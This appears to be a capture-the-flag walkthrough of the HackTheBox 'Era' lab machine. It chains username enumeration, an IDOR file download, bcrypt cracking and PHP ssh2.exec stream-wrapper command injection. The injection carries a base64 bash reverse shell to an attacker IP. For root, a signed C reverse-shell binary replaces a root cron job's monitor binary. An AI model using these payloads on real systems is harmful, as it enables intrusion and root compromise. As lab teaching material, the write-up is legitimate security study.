HTB Era Writeup: IDOR to RCE via SSH Handler and Privilege Escalation

HTB ERA Writeup

The next writeup explains how to get both user and root flags on the box.

  1. The initial nmap scan shows us 2 open TCP ports:
$ nmap -sC -sV 10.129.237.233 --top-ports=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 17:03 +08
Nmap scan report for 10.129.154.126
Host is up (0.075s latency).
Not shown: 4998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.49 seconds
  1. The scan shows us http-title http://era.htb/ so it is a good idea to add it to our hosts file:
$ echo '10.129.237.233 era.htb' >> /etc/hosts
  1. We can explore the initial page, but nothing juicy appears so far. The ftp port doesn’t allow anonymous connections. It is a great idea to enumerate the page for subdomains. The first attempt shows us tons of responses with size of 154, so in order to enumerate it cleanly we have to use ffuf with -fs flag which will provide a clean output:
$ ffuf -w=subdomains-top1million-110000.txt -u http://era.htb -H "Host:FUZZ.era.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 81ms]
  1. We’ve found a file subdomain, let’s add it to our hosts file for the further enumeration:
$ echo '10.129.237.233 file.era.htb' >> /etc/hosts
  1. We can open the new found subdomain in our browser and see that we this is a file hosting server:
  1. We can see the page contains several links that appear to lead to different forms. However, if we click any option other than Sign In, we are redirected back to the login form. At this stage, we do not have valid credentials. That leaves us with two main options.
  • Fuzz the web application for hidden endpoints or forms that are not directly exposed in the UI.
  • Attempt a brute-force or other attack against the login or login using security questions form.

For this initial enumeration phase, we will pursue both approaches in parallel. Later, we will focus primarily on the brute-force path.

  1. The ZAP intercepts a very basic GET request:
GET http://file.era.htb/login.php HTTP/1.1
host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://file.era.htb/
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=03ogfbb155mttbju0nsvrcoh7m
Upgrade-Insecure-Requests: 1
Priority: u=0, i
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 25 Feb 2026 08:47:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
content-length: 9454

<SNIP>
    <div class="error-message" role="alert" aria-live="assertive" style="color:#b00020; background:#f8d7da; border:1px solid #f5c2c7; padding:12px; border-radius:6px; margin-bottom:1rem; font-weight:600;">Invalid username or password.</div>
    <form action="login.php" method="post" class="signin-form" novalidate>
<SNIP>
  1. The application responds with “Invalid username or password.” and the response size is 9454 bytes. Next, we can fuzz the username field to check whether the application behaves differently for invalid vs. valid usernames (for example, if it is vulnerable to username enumeration based on response size, message, or timing differences). The full POST request looks as follows:
POST http://file.era.htb/login.php HTTP/1.1
host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://file.era.htb/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://file.era.htb
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=03ogfbb155mttbju0nsvrcoh7m
Upgrade-Insecure-Requests: 1
Priority: u=0, i

submitted=true&username=test&password=test
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 25 Feb 2026 09:16:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
content-length: 5380
 
<SNIP>   
    <h1>Log in Using Security Questions</h1>
        <p class="description">
            If you’ve forgotten your password, you can log in by answering your security questions instead.
        </p>
        <div class='error'>User not found.</div>        <form action="/security_login.php" method="post" autocomplete="off">
            <div class="form-group">
POST http://file.era.htb/security_login.php HTTP/1.1
host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://file.era.htb/security_login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://file.era.htb
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=03ogfbb155mttbju0nsvrcoh7m
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=test&answer1=test&answer2=test&answer3=test
  1. We are significantly luckier this time. We can see that valid usernames produce a different response size (5401 bytes). This fuzzing attempt reveals five valid usernames for the web application: eric, ethan, john, veronica, and yuri. Save these usernames to a separate file named users.txt:
$ cat <<'EOF' > users.txt
eric
ethan
john
veronica
yuri
EOF
  1. After some time we find two valid passwords for users eric and yuri:
  1. We can also try uploading additional files and observe that the ID appears to be a randomly generated four-digit value.
files-list
  1. We can try inputting a random value in the id parameter and observe that the application returns a “file not found” message.
file-not-found
GET http://file.era.htb/download.php?id=222 HTTP/1.1
host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=03ogfbb155mttbju0nsvrcoh7m
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Nuberzz fuzzing
  1. We almost immediately find two valid id values 54 and 150:
$unzip signing.zip
Archive:  signing.zip
  inflating: key.pem                 
  inflating: x509.genkey 

$unzip site-backup-30-08-24.zip
Archive:  site-backup-30-08-24.zip
  inflating: LICENSE                 
  inflating: bg.jpg                 
<SNIP>
  inflating: layout.php              
  inflating: layout_login.php        
  inflating: login.php               
  inflating: logout.php              
  inflating: main.png                
  inflating: manage.php              
  inflating: register.php 
<SNIP>
	if ($_GET['dl'] === "true") {

		header('Content-Type: application/octet-stream');
		header("Content-Transfer-Encoding: Binary");
		header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
		readfile($fetched[0]);
	// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}
  1. However, we do not have admin access yet, so we can temporarily put this hidden functionality aside. As mentioned earlier, the backup also contains a SQLite database file, filedb.sqlite. We can inspect it to see whether it contains any valuable information (such as users, password hashes, API keys etc):
$sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
<SNIP>
sqlite> .open filedb.sqlite
sqlite> .tables
files  users
sqlite> .show
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3<HASH_REDACTED>qphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyV<HASH_REDACTED>1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7<HASH_REDACTED>nZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuT<HASH_REDACTED>HPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CS<HASH_REDACTED>H1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzB<HASH_REDACTED>4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
$ john -w=rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (?)     
mustang          (?)     
<SNIP>
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
  1. We can also try the credentials we obtained against FTP. The eric account fails, but yuri successfully authenticates. Once logged in, we can browse two directories: apache2_conf, which contains Apache configuration files php8.1_conf, which contains installed PHP modules (.so) At this stage, nothing particularly useful stands out, but this access confirms we can retrieve internal configuration files and potentially identify misconfigurations in future:
$ ftp file.era.htb 21
Connected to era.htb.
220 (vsFTPd 3.0.5)
Name (file.era.htb): yuri
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||25576|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22  2025 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22  2025 php8.1_conf
226 Directory send OK.
ftp> cd apache2_conf
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||34543|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> cd php8.1_conf
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||18374|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22  2025 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so
// Check session validity before outputting anything
if (!isset($_SESSION['eravalid']) || $_SESSION['eravalid'] !== true) {
    header('Location: login.php');
    exit();
}
<SNIP>

// Process POST submission
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $username = trim($_POST['username'] ?? '');
    $new_answer1 = trim($_POST['new_answer1'] ?? '');
    $new_answer2 = trim($_POST['new_answer2'] ?? '');
    $new_answer3 = trim($_POST['new_answer3'] ?? '');

    if ($username === '' || $new_answer1 === '' || $new_answer2 === '' || $new_answer3 === '') {
        $error_message = "All fields are required.";
    } else {
        $query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
        $stmt = $db->prepare($query);
        $stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);
        $stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);
        $stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
        $stmt->bindValue(4, $username, SQLITE3_TEXT);
<SNIP>
admin reset era
admin login try
era admin succesful login
  1. We can explore the beta functionality now. While reviewing the source code, we identified two additional GET parameters available in the beta feature. There is also a debugging function which showing us a command output:
	// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}
  • show = true – displays the file instead of forcing download;
  • format – allows specifying a stream wrapper. The application checks whether theformat parameter contains ://.
    If it does, it treats the value as a PHP stream wrapper and prepends it to the file path before calling fopen(). Because the wrapper is fully user-controlled, this allows manipulation of how the file is accessed.
$ nc -lvnp 5050
listening on [any] 5050 ...

$ curl "http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl%20http://10.10.14.179:5050%7C" -H "Cookie: PHPSESSID=lqopuardk0bol5tpanqd502j4q"
Opening: ssh2.exec://yuri:mustang@127.0.0.1/curl http://10.10.14.179:5050|files/site-backup-30-08-24.zip

connect to [10.10.14.179] from (UNKNOWN) [10.129.237.233] 39288
GET / HTTP/1.1
Host: 10.10.14.179:5050
User-Agent: curl/7.81.0
Accept: */*
$ echo 'sh -i >& /dev/tcp/10.10.14.179/5050 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTc5LzUwNTAgMD4mMQo=

Tip: if the base64 string contains + characters, the curl request may fail due to URL encoding issues. In such cases, use an alternative payload or adjust the encoding to eliminate the + character before sending the request.
  1. Now, we can start our nc listener and send curl request to the endpoint to get a reverse connection from the server:
$ nc -lvnp 5050
listening on [any] 5050 ...

$ curl "http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTc5LzUwNTAgMD4mMQo=%7Cbase64%20-d%7Cbash%7C" -H "Cookie: PHPSESSID=lqopuardk0bol5tpanqd502j4q"
Opening: ssh2.exec://yuri:mustang@127.0.0.1/echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTc5LzUwNTAgMD4mMQo=|base64 -d|bash|files/site-backup-30-08-24.zip

connect to [10.10.14.179] from (UNKNOWN) [10.129.237.233] 41746
sh: 0: can't access tty; job control turned off
$ whoami
yuri
  1. If you followed the steps so far or used a PoC, we now have code execution as the user yuri. However, this account does not provide anything particularly useful for further escalation steps, so the next logical step is to pivot to the user eric.
$ su eric
Password: <ERIC_PASSWORD>
whoami
eric
python3 -c 'import pty;pty.spawn("/bin/bash")'
eric@era:/home/yuri$ 
cd /home/eric
eric@era:~$ cat user.txt
cat user.txt
c6317<HASH_REDACTED>122
  1. We got a user flag and we can perform a usual enumeration routine to find any interesting privileges. If we inspect the running processes (ps -aux or with a tool pspy64), we can notice something interesting. A root-owned cron job is repeatedly executing /root/initiate_monitoring.sh. During its execution, it also runs: objcopy –dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor. This indicates that the application is performing some kind of integrity or signature check against the binary located at /opt/AV/periodic-checks/monitor. The repeated execution of /root/initiate_monitoring.sh as UID 0 suggests that this script is part of a privileged monitoring mechanism. The use of objcopy to extract a specific section (.text_sig) from the monitor binary implies that it may be verifying the integrity of the file or checking for tampering:
2025/08/01 08:11:01 CMD: UID=0     PID=6233   | /usr/sbin/CRON -f -P 
2025/08/01 08:11:01 CMD: UID=0     PID=6234   | /usr/sbin/CRON -f -P 
2025/08/01 08:11:01 CMD: UID=0     PID=6235   | bash -c /root/initiate_monitoring.sh 
2025/08/01 08:11:01 CMD: UID=0     PID=6236   | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor 
2025/08/01 08:11:01 CMD: UID=0     PID=6237   | /bin/bash /root/initiate_monitoring.sh 
2025/08/01 08:11:01 CMD: UID=0     PID=6238   | /bin/bash /root/initiate_monitoring.sh 
2025/08/01 08:11:01 CMD: UID=0     PID=6241   | grep -oP (?<=UTF8STRING        :)Era Inc. 
2025/08/01 08:11:01 CMD: UID=0     PID=6239   | /bin/bash /root/initiate_monitoring.sh 
2025/08/01 08:11:01 CMD: UID=0     PID=6244   | grep -oP (?<=IA5STRING         :)yurivich@era.com 
2025/08/01 08:11:01 CMD: UID=0     PID=6242   | /bin/bash /root/initiate_monitoring.sh 
2025/08/01 08:11:01 CMD: UID=0     PID=6245   | /bin/bash /root/initiate_monitoring.sh 
2025/08/01 08:11:04 CMD: UID=0     PID=6246   | /bin/bash /root/initiate_monitoring.sh 
  1. If we inspect the monitor file, we can see that it is owned by root but assigned to the devs group with write permissions. Since the file has group write permissions and eric belongs to the devs group, we effectively have write access to a binary that is being executed by a root-owned cron job. This creates a clear privilege escalation opportunity, as modifying the monitor binary would allow us to influence code executed with root privileges.:
eric@era:/tmp$ ls -l /opt/AV/periodic-checks/monitor 
ls -l /opt/AV/periodic-checks/monitor 
-rwxrw---- 1 root devs 16544 Aug 01 08:18 /opt/AV/periodic-checks/monitor
eric@era:/tmp$ id
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
  1. If we switch to the file directory we also can notice that status.log file. The log entries confirm that the monitoring process is actively running and reporting its results. This further supports the assumption that the monitor binary is being executed regularly by the root-owned script, making our write access to it even more significant from a privilege escalation perspective.
cd /opt/AV/periodic-checks/
eric@era:/opt/AV/periodic-checks$ ls
ls
monitor  status.log
eric@era:/opt/AV/periodic-checks$ cat status.log
cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
  1. If we replace the monitor binary with an empty file (save the original somewhere else) and wait for the cron job to run, the output in status.log changes completely. Instead of reporting a successful scan, the monitoring process reacts differently, indicating that something is wrong with the binary.This behavior confirms our earlier assumption: the file is being actively checked for integrity. The monitoring mechanism is not just executing the binary, but also verifying its contents, likely using the extracted section seen earlier with objcopy:
eric@era:/opt/AV/periodic-checks$ echo 'test' > monitor
echo 'test' > monitor
eric@era:/opt/AV/periodic-checks$ cat status.log
cat status.log

objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
  1. If we analyze the original monitor binary using strings, several interesting details become visible. First, we can confirm that it is a dynamically linked ELF binary compiled with GCC on Ubuntu 22.04. It links against libc and uses only a few basic functions such as puts and sleep, which suggests the program logic is likely simple. More importantly, we can observe meaningful embedded strings such as:
  • “Era Inc.”;
  • “ELF verification”;
  • “yurivich@era.com”.
  • .text_sig
eric@era:/opt/AV/periodic-checks$ strings /tmp/monitor

/lib64/ld-linux-x86-64.so.2
<SNIP>
[*] System scan initiated...
[*] No threats detected. Shutting down...
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
0g0O1
Era Inc.1
ELF verification1
yurivich@era.com
<SNIP>
frame_dummy
__frame_dummy_init_array_entry
monitor.c

<SNIP>
.comment
.text_sig
  1. It is clear that the monitor file is a compiled C binary with a custom signature mechanism. Since the monitoring script extracts the .text_sig section, simply modifying or replacing the binary will fail the integrity check. To successfully replace it, we must recreate a properly compiled C binary and generate a valid signature that matches the expected verification process.
#include <unistd.h>

int main() {
    char *args[] = {
        "/bin/bash",
        "-c",
        "bash -i >& /dev/tcp/10.10.14.179/5051 0>&1",
        NULL
    };
    execve("/bin/bash", args, NULL);
    return 0;
}
  1. We save our file as monitor.c in the same directory as the recovered key files. After that, we compile it using gcc to produce a new ELF binary that will later be signed and prepared with the required .text_sig section before replacing the original monitor file.:
$ gcc monitor.c --output monitor
$ls
key.pem  monitor  monitor.c  x509.genkey
  1. Next, we need to sign the compiled binary. Using the obtained private key, we first generate a self-signed certificate and then create a CMS signature for the monitor binary. The first command generates a certificate using the exposed private key. The second command signs the compiled monitor binary and produces a DER-formatted signature file.:
$ openssl req -new -x509 -key key.pem -out cert.pem -days 365 -subj "/CN=Era Inc./emailAddress=yurivich@era.com"

$ openssl cms -sign -in monitor -signer cert.pem -inkey key.pem -outform DER -nosmimecap -nocerts -noattr  -out monitor.sig
  1. Finally, we need to embed the generated signature into the binary by adding it as the .text_sig section. This can be done using objcopy:
$ objcopy --add-section .text_sig=monitor.sig monitor monitor.signed
  1. Our final binary is now ready for exploitation. The next step is to transfer it to the target system and replace the original monitor file. In this writeup, the transfer is performed using a simple Python HTTP server on the attacker machine and curl on the target. After hosting the file with python3 -m http.server, we can download it on the target using curl and overwrite the existing monitor binary.
$ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

curl http://10.10.14.179:8080/monitor --output monitor
<l http://10.10.14.179:8080/monitor --output monitor
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  1. We also need to start a netcat listener on our attacking machine to catch the reverse shell. Once the listener is running, we wait for the cron job to execute our signed monitor binary. When it runs, the reverse shell connects back to our listener, giving us a root shell on the target system.
$ nc -lvnp 5051
listening on [any] 5051 ...
connect to [10.10.14.179] from (UNKNOWN) [10.129.237.233] 49742
bash: cannot set terminal process group (7595): Inappropriate ioctl for device
bash: no job control in this shell
root@era:/root# whoami
whoami
root
  1. We can finally read the root flag:
root@era:/root# cat root.txt
e04b814d<HASH_REDACTED>d0dd30

Final thoughts:

Congratulations! You have successfully solved the ERA machine. This was definitely a tough challenge. The user part involves multiple stages and chaining vulnerabilities, and it feels closer to a hard-level box than a medium one.

The root part is also far from straightforward. It requires understanding how the application performs binary signing and integrity verification, as well as being comfortable with compiling C code and working with cryptographic signatures. Overall, it is a well-designed machine that rewards careful analysis and persistence.